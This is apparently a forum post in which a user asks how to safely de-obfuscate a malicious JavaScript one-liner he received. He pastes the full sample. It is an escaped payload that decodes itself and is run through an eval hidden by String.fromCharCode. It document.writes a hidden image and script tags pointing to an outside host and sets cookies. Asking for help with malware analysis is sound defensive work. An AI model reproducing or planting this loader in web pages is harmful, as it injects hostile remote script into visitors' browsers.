Hi All,
I have a piece of nasty javascript that I would like to de-obfuscate. I know that I can spin up a VM and behold the malware in all of its glory, but I am more interested in not having it run, but viewing it in a non-obfuscated form. If it needs to run in order to do this, then so be it, I guess. Anyone know how to do this without compromising myself?
Thanks, Tim
EDIT: here's the code (one liner, it was between script tags). This was sent to me, I don't have access to the server.
var $a="Z6fpZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cuZ252c14Z2529);Z2522;Z22;ceZ3dZ22arZ2543oZ2564eZ2541Z2574Z25280Z2529^Z2528Z2527Z2530xZ25300Z2527+eZ2573)Z2529)Z253b}}Z22;dzZ3dZ22Z2566unZ2563tZ2569onZ2520dw(Z2574)Z257bcaZ253dZ2527Z252564oZ252563umZ252565ntZ252eZ252577Z2572Z252569Z2574Z252565(Z252522Z2527;ceZ253dZ2527Z252522Z2529Z2527;cbZ253dZ2527Z25253cscZ252572Z252569pZ252574 Z25256cZ252561nZ25256Z2537uZ252561geZ25253Z2564Z25255cZ252522Z256aavZ252561Z252573cZ252572ipZ25257Z2534Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572Z252569ptZ25253eZ2527;winZ2564owZ255bZ2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522]Z2528uneZ2573cZ2561Z2570e(Z2574))Z257d;Z22;cbZ3dZ22e(dZ2573);Z2573tZ253dtmpZ253dZ2527Z2527;for(Z2569Z253d0;Z2569Z253cdZ2573.Z256cZ256Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu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28Z64zZ2bcZ7aZ2boZ70+stZ29+Z27dwZ28dz+Z63z(Z24Z61+stZ29);Z27);Z64oZ63umZ65ntZ2ewZ72Z69te(Z24a);Z7dZ64ocuZ6deZ6eZ74.Z77riZ74e(Z22Z3cimg sZ72cZ3dZ27http:Z2fZ2fsearchZ2etwZ69tteZ72.Z63oZ6dZ2fZ69mZ61gZ65Z73Z2fseaZ72Z63hZ2frsZ73.pnZ67Z27 wiZ64tZ68Z3d1Z20Z68eiZ67htZ3d1 sZ74ylZ65Z3dZ27visibiZ6citZ79Z3ahiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt laZ6eguZ61geZ3djZ61vZ61sZ63ripZ74Z22+Z22 srZ63Z3dZ27http:Z2fZ2fseaZ72ch.Z74wZ69tZ74erZ2eZ63omZ2ftZ72eZ6edsZ2fdaZ69lyZ2ejZ73Z6fn?cZ61llZ62Z61cZ6bZ3dcallbZ61Z63Z6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}eZ6csZ65Z7b$aZ3dZ27Z27};functiZ6fZ6e scZ28Z63nm,Z76Z2cedZ29Z7bvarZ20eZ78Z64Z3dnew Z44atZ65()Z3beZ78Z64.Z73Z65tDZ61Z74Z65Z28Z65xdZ2eZ67etZ44ateZ28)+Z65d);Z64ocZ75meZ6et.cZ6foZ6bieZ3dZ63nZ6d+ Z27Z3dZ27 +esZ63apeZ28vZ29+Z27Z3beZ78pirZ65sZ3dZ27+exdZ2etoZ47Z4dTZ53tZ72Z69Z6eZ67Z28);Z7d;";
var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds());
function asd(s)
{
r="";
for(i=0;i<s.length;i++)
{
if(s.charAt(i)=="Z")
{
s1="%"
}
else
{
s1=s.charAt(i)
}
r=r+s1;
}
return unescape(r);
}
function fds()
{
return asd($a);
}
EDIT AGAIN: I am choosing Matthew Flaschen because after all of the looking at it both he, Russ Cam and others have helped shine a lot of light on what this particular attack does and how to go about this sort of thing in general. Matthew happened to jump on this the fastest.
NOTE: In the process of looking at trying to get to the bottom of this, I found a very handy tool call Malzilla. If you are in need of doing this sort of thing, it has a lot of good utilities. Thanks All!